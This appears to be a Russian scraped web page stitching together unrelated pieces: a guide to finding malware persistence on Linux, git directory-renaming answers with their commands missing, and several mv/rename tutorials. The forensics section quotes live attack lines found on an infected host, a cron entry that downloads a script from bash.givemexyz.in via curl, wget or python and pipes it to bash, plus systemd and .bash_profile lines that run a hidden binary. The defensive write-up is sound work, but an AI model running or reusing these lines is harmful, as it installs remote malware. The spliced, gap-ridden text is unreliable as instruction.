Как правильно переименовать каталог в репозитории git?

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

  • Практические примеры использования команды find в Linux
  • Команда find: поиск в файловой системе по любым свойствам файла

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:

find /bin/ -mtime -1

Вывод:

  • /bin/
  • /bin/sysdr
  • /bin/bprofr
  • /bin/crondr
  • /bin/core_perl

Выделенные файлы — это вирусы (проверил на virustotal.com).

Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

find / -mtime 50

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

find / -atime 50

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

find / -mtime +50 -mtime -100

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

find / -cmin -60

Чтобы найти файлы, которые были модифицированы за последний час:

find / -mmin -60

Чтобы найти все файлы, доступ к которым был сделан за последний час:

find / -amin -60

Поиск служб в автозагрузке

Инструментарий:

  • Как использовать Systemctl для управления службами Systemd и юнитами
  • Как в Linux добавить программу в автозагрузку

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:

systemctl list-unit-files | grep enabled

Посмотрите на две службы с именами:

  • pwnrige.service
  • pwnrigl.service

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:

sudo systemctl edit pwnrige.service
sudo systemctl edit pwnrigl.service

Или так:

cat /etc/systemd/system/pwnrige.service
cat /usr/lib/systemd/system/pwnrigl.service

Следующая строка

/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'

Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Регулярные выражения и команда grep

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:

grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null

Расписания задач Cron

Инструментарий:

Как вывести все задачи Cron

Следующие две команды покажут содержимое задач Cron для всех пользователей:

for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done

Более гибкий вариант, не рассчитывает на имена пользователей:

grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null

Обратите внимание, как прочно укоренился вирус в системе:

(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

  • /etc/cron.d/root
  • /etc/cron.d/nginx
  • /etc/cron.d/apache
  • /var/spool/cron/root

Автоматически выполняемые скрипты

Инструментарий:

Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

  • /etc/profile
  • /etc/profile.d/*
  • ~/.bash_profile
  • ~/.bashrc
  • /etc/bashrc

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:

sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc

Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

Пример №3

В директории лежат файлы, пронумерованные от 0 до 1001. Если их выводить командой , они будут отсортированы по имени не так, как этого хотелось бы. Добавим необходимое количество нулей в названия файлов.

При необходимости создаём тестовую директорию и/или чистим её и создаём наши 1001 файл:

user ~ $user ~ $user ~ $
mkdir -p ~/test/
rm -r ~/test/*
cd ~/test/
user test $
touch {0..1001}-filename.txt

Можно действовать так (не лучший вариант).

user test $user test $user test $
ls | sed 'p;s:^\(\)-:000\1-:g' | xargs -n2 mv
ls | sed 'p;s:^\(\)-:00\1-:g' | xargs -n2 mv
ls | sed 'p;s:^\(\)-:0\1-:g' | xargs -n2 mv

Первая команда всем файлам, начинающимся с одной цифры, добавит 3 нуля. Вторая команда всем файлам, начинающимся с двух цифр, добавит 2 нуля. Третья команда всем файлам, начинающимся с трёх цифр, добавит 1 ноль.

Здесь использованы регулярные выражения в . Разберём конструкцию

  • означает, что нужно искать с начала имени
  • конструкция позволяет заключённое в неё использовать как в шаблоне замены
  • означает три любые цифры подряд.
  • — просто дефис.

Переименование командой rename

Команда rename служит для массового (пакетного) переименования файлов. Она позволяет выполнять замену определенных символов или частей имени файла и использованием Perl-регулярных выражений.

Если вдруг в вашем дистрибутиве нет команды rename , то ее можно установить, выполнив (выберите соответствующую команду для вашего дистрибутива):

Синтаксис команды rename :

старое_имя — регулярное выражение или часть имени файла, которое нужно заменить на новое_имя .новое_имя — задает результирующее имя файла (может быть регулярным выражением).

Основные опции: -f — перезаписывать существующие файлы.-n — вывести список файлов, которые будут переименованы и их новые имена, но не выполнять переименование.-v — вывести список обработанных файлов.

Проще всего понять, как пользоваться данной командой, на примерах.

Изменение расширения файлов

Массово изменить расширение .html на .php у всех html-файлов.

По умолчанию rename не перезаписывает существующие файлы. Чтобы существующие файлы перезаписывались, используется опция -f :

Показать, что именно будет переименовано, но не переименовывать

Чтобы избежать ошибок при переименовании файлов, особенно при использовании сложных регулярных выражений, можно сначала вывести список того, что будет переименовано, но не запускать само переименование. Для этого служит опция -n .

Например, мы хотим изменить расширение у файлов с .jpeg на .jpg . Используем опцию -n , чтобы просто вывести какие файлы будут переименованы:

Полное описание команд mv и rename можно получить, выполнив в терминале команды:

2 ответа

Лучший ответ

  1. Перейдите к вашему локальному клону нового проекта

  2. Направьте свой пульт на URL-адрес старого репо

  3. Разместите свои ветки, используя флаг , чтобы перезаписать существующие ветки. (Лучше убедитесь, что старые вам не нужны!)

  4. Удалите старые ветки старого репо, которые вам больше не нужны

8

janos
12 Окт 2015 в 19:40

Подобную проблему я решил способом, описанным ниже.

Предположения:

  • «старый проект» находится в репозитории GitHub
  • «новый проект» создается локально на вашем компьютере

Ожидания:

  • новый проект должен быть перенесен в старое репо на github
  • старая история коммитов должна оставаться и быть видимой в github

Решение:

1) перейдите в папку «старый проект» на локальном компьютере.

2) найдите там скрытую папку «.git» и скопируйте ее

3) перейдите в новую папку проекта на вашем компьютере

4) проверьте, есть ли папка .git (она скрыта, поэтому вам нужно показывать скрытые файлы) — если есть папка .git, переименуйте ее, вы можете либо удалить ее, но лучше переименовать сейчас и удалить, если все пойдет по плану — если нет папки .git, перейдите к пункту 5 ниже. 5) вставьте ранее скопированную папку .git (из старого проекта) и вставьте ее в папку «новый проект»

Теперь новый проект имеет папку .git со всеми предыдущими изменениями и историей и включает ссылку на URL-адрес вашего старого репозитория на GitHub.

6) Если вы используете, например, VS, вы можете проверить изменения в коде. Их будет много, или проверяйте в терминале. Вы можете проверить, что старые файлы были удалены, а новые добавлены.

7) Протолкните актуальный новый проект. Этот новый проект будет перенесен в ваше старое репо на GitHub. Проверьте репозиторий git в Интернете, чтобы убедиться, что все прошло хорошо.

8) Теперь вы можете удалить старый проект со своего локального компьютера и удалить эту переименованную новую скрытую папку git (она была переименована в пункте 4).

Теперь вы можете развивать свой новый проект, сохраняя при себе всю старую историю.

Надеюсь, это поможет.

3

Ja Rek
22 Авг 2019 в 13:18

8 ответов

Лучший ответ

Базовое переименование (или перемещение):

Переименование с учетом регистра — например. от до — вы должны использовать два шага:

(Подробнее о чувствительности к регистру в Git…)

… С последующими фиксацией и нажатием — самый простой способ переименовать каталог в репозитории git.

1450

Community
23 Май 2017 в 12:18

Просто переименуйте папку. git — это «средство отслеживания содержимого», поэтому хеши SHA1 такие же, и git знает, что вы его переименовываете. Единственное, что меняется, — это объект-дерево.

-21

bitwave
25 Июн 2012 в 15:45

Что касается переименования с учетом регистра, работал у меня раньше, но по какой-то причине не стал сегодня. В качестве обходного пути я создал новую папку , переместил все содержимое в , удалил , зафиксировал , затем создал , переместил все содержимое в , удалил , зафиксировал и отправил , и это сработало! В git отображается как .

1

Ryan Walker
20 Мар 2020 в 22:30

Много правильных ответов, но когда я приземлился здесь, чтобы скопировать и вставить переименовать папку с историей , я обнаружил, что это

Переместит старую папку (саму себя) во вложенную в новую папку

Пока

(Обратите внимание ‘/’) переместит вложенное содержимое из старой папки в новую папку

Обе команды не копировали историю вложенных файлов. В конце концов я переименовал каждую вложенную папку индивидуально

3

Yinon
30 Дек 2020 в 08:22

Из веб-приложения я думаю, что вы не можете, но вы можете переименовать все папки в Git Client, он переместит ваши файлы в новые переименованные папки, чем зафиксирует и отправит в удаленный репозиторий.

У меня была очень похожая проблема: Мне пришлось переименовать разные папки из верхнего регистра в нижний (например, Abc -> abc), я переименовал все папки с фиктивным именем (например, ‘abc___’), а затем передал его в удаленный репозиторий, после чего я переименовал все папки в оригинальное имя со строчной буквы (например, abc) и их взяли!

4

Syncro
2 Авг 2016 в 09:51

Вы можете переименовать каталог, используя файловую систему. Затем вы можете использовать и (Справочная страница). Затем вы можете зафиксировать и нажать.

Git обнаружит, что содержимое такое же и это просто операция переименования, и появится в истории как запись переименования. Вы можете проверить это до фиксации, используя

10

Chan
25 Июн 2012 в 05:22

1. Измените имя папки со старой папки на новую.

2. Если новая папка уже есть в вашем репозитории, и вы хотите переопределить ее и использовать: — force

Не забудьте добавить изменения в индекс и зафиксировать их после переименования с помощью git mv.

3. Переименование папки в имя папки в файловых системах без учета регистра

Простое переименование с помощью обычной команды mv (не git mv) не распознается как изменение файла из git. Если вы попробуете это с помощью команды «git mv», как в следующей строке

Если вы используете файловую систему без учета регистра, например у вас Mac и вы не настроили регистр, вы получите сообщение об ошибке, подобное этому:

фатальный: не удалось переименовать имя папки: недопустимый аргумент

И вот что вы можете сделать, чтобы заставить его работать:

Это разделяет процесс переименования, сначала переименовывая папку с совершенно другим именем папки. После переименования папки в другое имя папки можно наконец переименовать ее в новое имя папки. После этих «git mv’s» снова не забудьте добавить и зафиксировать изменения. Хотя это, вероятно, не самая красивая техника, но работает она отлично. Файловая система по-прежнему не распознает изменение регистра букв, но git распознает из-за переименования его в новое имя папки, и это все, что мы хотели :)

75

akshay_rahar
4 Мар 2016 в 17:42

Если вы получаете сообщение об ошибке: фатальный: не удалось переименовать имя папки: недопустимый аргумент

Попробуй это:

Переименование командой rename

Команда rename служит для массового (пакетного) переименования файлов. Она позволяет выполнять замену определенных символов или частей имени файла и использованием Perl-регулярных выражений.

Если вдруг в вашем дистрибутиве нет команды rename, то ее можно установить, выполнив (выберите соответствующую команду для вашего дистрибутива):

Синтаксис команды rename:

rename опции ’s/старое_имя/новое_имя’ файлы

старое_имя — регулярное выражение или часть имени файла, которое нужно заменить на новое_имя.новое_имя — задает результирующее имя файла (может быть регулярным выражением).

Основные опции:-f — перезаписывать существующие файлы.-n — вывести список файлов, которые будут переименованы и их новые имена, но не выполнять переименование.-v — вывести список обработанных файлов.

Проще всего понять, как пользоваться данной командой, на примерах.

Изменение расширения файлов

Массово изменить расширение .html на .php у всех html-файлов.

По умолчанию rename не перезаписывает существующие файлы. Чтобы существующие файлы перезаписывались, используется опция -f:

Показать, что именно будет переименовано, но не переименовывать

Чтобы избежать ошибок при переименовании файлов, особенно при использовании сложных регулярных выражений, можно сначала вывести список того, что будет переименовано, но не запускать само переименование. Для этого служит опция -n.

Например, мы хотим изменить расширение у файлов с .jpeg на .jpg. Используем опцию -n, чтобы просто вывести какие файлы будут переименованы:

Полное описание команд mv и rename можно получить, выполнив в терминале команды:

Пример №2

В директориях , ,… лежат файлы filename.txt. Нужно вытащить их оттуда, но уже с разными именами.

При необходимости создадим и очистим нашу экспериментальную директорию и создадим там необходимую структуру файлов:

user ~ $user ~ $user ~ $
mkdir -p ~/test/
rm ~/test/*
cd ~/test/
user test $user test $
mkdir -p dir{1..5}/subdir{1..5} 
touch dir{1..5}/subdir{1..5}/filename.txt

Итак, у нас получилось 25 файлов filename.txt в директориях , ,… .

find

Выведем эти файлы. В этом случае тоже сработал бы, но воспользуемся для разнообразия поиском по имени. Также используем звёздочку вместо точки, чтобы избавиться от ведущего в выводе.

user test $
find * -name 'filename.txt'

Попросим заменить все слэши на дефисы.

user test $
find * -name 'filename.txt' | sed 'p;s:/:-:g'

xargs

Завершаем переименование:

user test $
find * -name 'filename.txt' | sed 'p;s:/:-:g' | xargs -n2 -p mv

Убедившись, что всё произойдёт правильно, убираем ключ и повторяем команду.

rename — инструмент командной строки для переименования нескольких файлов в Linux

Мы часто используем команду «mv» для переименования одного файла в Linux. Однако быстрое переименование нескольких файлов или тем более группы файлов достаточно сложная задача для выполнения в терминале.

Linux поставляется с очень мощным встроенным инструментом под названием rename. Команда rename используется для переименования нескольких файлов или же группы файлов, переименования файлов из верхнего в нижний регистр и наоборот, и перезаписывания файлов с использованием выражений perl.

Переименование нескольких файлов в Linux

Команда «rename» является частью скрипта Perl и находится в разделе «/usr/bin/» во многих дистрибутивах Linux. Вы можете запустить команду «which», чтобы узнать местоположение команды rename.

Основной синтаксис команды переименования

Команда rename содержит несколько необязательных аргументов вместе с обязательными регулярными выражением для perl, которое указывают команде rename выполнять конкретные действия.

  • -v: Показать, имена успешно переименованных файлов.
  • -n: Показать, какие файлы были бы переименованы.
  • -f: Принудительно перезаписать существующие файлы.
  • perlexpr: регулярные выражения для Perl.

Для лучшего понимания этой утилиты мы обсудим несколько практических примеров этой команды в статье.

1. Пример базовой команды переименования

Предположим, у вас есть куча файлов с расширением «.html», и вы хотите переименовать все файлы в «.php» за один раз. Сначала выполните «ls -l», чтобы проверить список файлов с расширением «.html».

Теперь изменим расширение всех этих файлов с «.html» на «.php». Вы можете использовать следующую команду «rename» с регулярными выражением для perl, как показано ниже.

Примечание. В приведенной выше команде мы использовали два аргумента.

  • Первый аргумент — это выражение perl, которое заменяет .html на .php.
  • Второй аргумент — сообщает команде rename заменить все файлы на *.php.

Давайте проверим, все ли файлы переименованы в расширение .php, выполнив ls -l:

Выше вы видите, что все html файлы переименованы в php.

2. Проверьте изменения перед выполнением команды переименования

При выполнении важных или крупных задач переименования вы всегда можете проверить изменения, выполнив команду rename с аргументом «-n». Параметр «-n» точно скажет вам, какие изменения произойдут, но изменения не выполняются по-настоящему. Вот пример приведенной такой команды:

Примечание. Вышеуказанный вывод команды отображает только изменения, но в реальности изменения не выполняются, если только вы не запускаете команду без флага «-n».

3. Вывод полной информации обо всех изменениях

Мы видели, что команда rename не отображает никакой информации об изменениях, которые она делает. Итак, если вы хотите получить информацию о команде переименования вы можете использовать флаг «-n», или же флаг «-v», чтобы вывести полную информацию обо всех изменениях, сделанных командой rename.

4. Преобразование регистров (верхний в нижний и наоборот)

Чтобы разом переименовать все файлы с именами написанными нижним регистром в верхний регистр, необходимо:

Нижний регистр в верхний:

Просто используйте следующую команду с выражением perl.

После выполнения вышеуказанной команды вы можете проверить изменения, выполнив «ls -l».

Вы видите, что приведенная выше команда фактически переименовала все имена файлов нижнего регистра (с расширением .HTML) в верхний регистр.

Верхний регистр в нижний:

Аналогично, вы также можете преобразовать все символы верхнего регистра в нижний регистр, используя следующую команду:

5. Перезапись существующих файлов

Если вы хотите принудительно перезаписать существующие файлы, используйте параметр «-f», как показано в примере ниже.

Если вы хотите узнать больше о команде rename, введите «man rename» в терминале.

Команда rename очень полезна, если вы имеете дело с многократным или групповым переименованием файлов из командной строки.

Спасибо за уделенное время на прочтение статьи!

Подписывайтесь на обновления нашего блога и оставайтесь в курсе новостей мира инфокоммуникаций!

Чтобы знать больше и выделяться знаниями среди толпы IT-шников, записывайтесь на курсы Cisco от Академии Cisco, курсы Linux от Linux Professional Institute на платформе SEDICOMM University.

Как переименовать файл в терминале

Терминал может показаться пугающим, но он имеет много преимуществ. Команды терминала обычно одинаковы для разных версий Linux. Следующие команды переименования работают независимо от выбранной вами настольной операционной системы Linux или окружения рабочего стола. Он также работает на серверах без какого-либо рабочего стола вообще.

Есть две основные команды, которые упрощают переименование файлов. Самый простой вариант не совсем очевиден, поэтому сначала рассмотрим его.

Переименование файлов с помощью команды Linux ‘mv’

Команда mv — самый короткий и простой способ переименовать файлы в терминале. Да, mv — это сокращение для перемещения, а перемещение файлов — это в первую очередь то, для чего предназначена эта команда. Чтобы мысленно связать mv с переименованием, подумайте об этом следующим образом: вы технически перемещаете данные из одного имени файла в другое. Проверьте пример ниже.

Кроме того, вы можете открыть или направить терминал в папку, содержащую файл.

Примечание. Если вы действительно хотите переместить файлы с помощью команды mv , а не вводить новое имя файла, вместо этого введите целевой каталог.

Переименование файлов с помощью команды Linux «переименовать»

Когда приходит время переименовывать несколько файлов, команда быстро становится утомительной. Для этой работы вам нужна команда переименования.

Допустим, у вас есть набор текстовых файлов (TXT), которые вы хотите превратить в файлы Markdown (MD). Во-первых, как в приведенном выше примере, используйте команду cd для перехода в соответствующую папку (в качестве альтернативы вы можете использовать Правый клик> Открыть в терминале ). Затем введите следующую команду:

* Указывает команде на поиск всех файлов в папке. Вы можете явно ограничить поиск файлами, заканчивающимися на .txt, изменив команду следующим образом.

Приведенные выше команды не сообщат вам, какие изменения сделала команда переименования . Вы должны открыть папку и проверить себя. Если вы хотите подтверждение внутри терминала, вы можете добавить -v к команде.

Технически, вы можете использовать команду переименования, чтобы переименовать один файл. Вам просто нужно больше печатать, чем с mv . Например:

Повторение исходного имени файла в конце, вместо использования *, информирует команду о том, что нужно выполнить действие только с этим конкретным файлом.

Подстановочные знаки

Знак звёздочки

1. — в команде используется подстановочный знак . Если tmp является каталогом, все файлы с расширением .txt, чьё имя начинается с My, будут перемещены в tmp (например, My plain.txt, Myself.txt и т. п.). Если tmp не существует или не является каталогом, mv сообщает об ошибке и ничего не делает.

2. — перемещает все изображения с расширением .png из каталога tmp/images/ в каталог tmp/img/. Если в текущем каталоге встретятся изображения с расширением .png, mv выдаст запрос на перезапись.

Знак вопроса

1. — здесь подстановочный знак и в этой команде используется дважды, а значит может соответствовать максимум двум символам. Если tmp является каталогом, то любой файл с двумя символами между plain и .txt в их имени перемещается в tmp (например, plain_2.txt, plain03.txt и т. п.). Если tmp не существует или не является каталогом, mv сообщает об ошибке и ничего не делает.

2. — в этой команде всего один подстановочный знак . Если tmp является каталогом, то любой файл с одним символом между My plain и .txt в их имени перемещается в tmp (например, My plain1.txt, My plain2.txt и т. п.).

Переименование файлов Linux с помощью rename

В Linux есть еще одна команда, которая позволяет переименовать файл. Это rename. Она специально разработана для этой задачи, поэтому поддерживает такие вещи, как массовое переименование файлов linux и использование регулярных выражений. Синтаксис утилиты тоже сложнее:

$ rename опции ‘s/ старое_имя / новое_имя ‘ файлы

$ rename опции старое_имя новое_имя файлы

В качестве старого имени указывается регулярное выражение или часть имени которую нужно изменить, новое имя указывает на что нужно заменить. Файлы – те, которые нужно обработать, для выбора файлов можно использовать символы подставки, такие как * или ?.

Рассмотрим опции утилиты:

  • -v – вывести список обработанных файлов;
  • -n – тестовый режим, на самом деле никакие действия выполнены не будут;
  • -f – принудительно перезаписывать существующие файлы;

Например, переименуем все htm файлы из текущей папки в .html:

rename ‘s.htm/.html/’ *.htm

Или для изображений:

Символ звездочки означает, что переименование файлов linux будет выполнено для всех файлов в папке. В регулярных выражениях могут применяться дополнительные модификаторы:

  • g (Global) – применять ко всем найденным вхождениям;
  • i (Case Censitive) – не учитывать регистр.

Модификаторы размещаются в конце регулярного выражения, перед закрывающей кавычкой. Перед тем, как использовать такую конструкцию, желательно ее проверить, чтобы убедиться, что вы не допустили нигде ошибок, тут на помощь приходит опция -n. Заменим все вхождения DSC на photo в именах наших фотографий:

rename -n ‘s/DSC/photo/gi’ *.jpeg

Будут обработаны DSC, DsC и даже dsc, все варианты. Поскольку использовалась опция -n, то утилита только выведет имена изображений, которые будут изменены.

Можно использовать не только обычную замену, но и полноценные регулярные выражения чтобы выполнить пакетное переименование файлов linux, например, переделаем все имена в нижний регистр:

Из этого примера мы видим, что даже если такой файл уже существует, то он перезаписан по умолчанию не будет. Не забывайте использовать опцию -n чтобы ничего случайно не повредить.

Шаблоны

Нам может потребоваться повторно использовать те же выражения/модификаторы для того же типа переименования, что и в предыдущий раз.

Вместо того, чтобы снова и снова вводить одни и те же значения, мы можем сохранить текущие в шаблон, а затем повторно использовать его позже.

Для этого жмём кнопку, дающую доступ к действиям, связанным с шаблонами, выбираем Сохранить как… и даём имя новому шаблону.

В следующий раз, когда нам понадобится, мы вызовем выпадающий список шаблонов, выберем нужный и поля будут заполнены тем, что мы сохранили.

Упомянутое меню предлагает нам различные действия, связанные с шаблонами: загрузка, сохранение, переименование, удаление, сортировка и т.д.

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Все про сервера
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: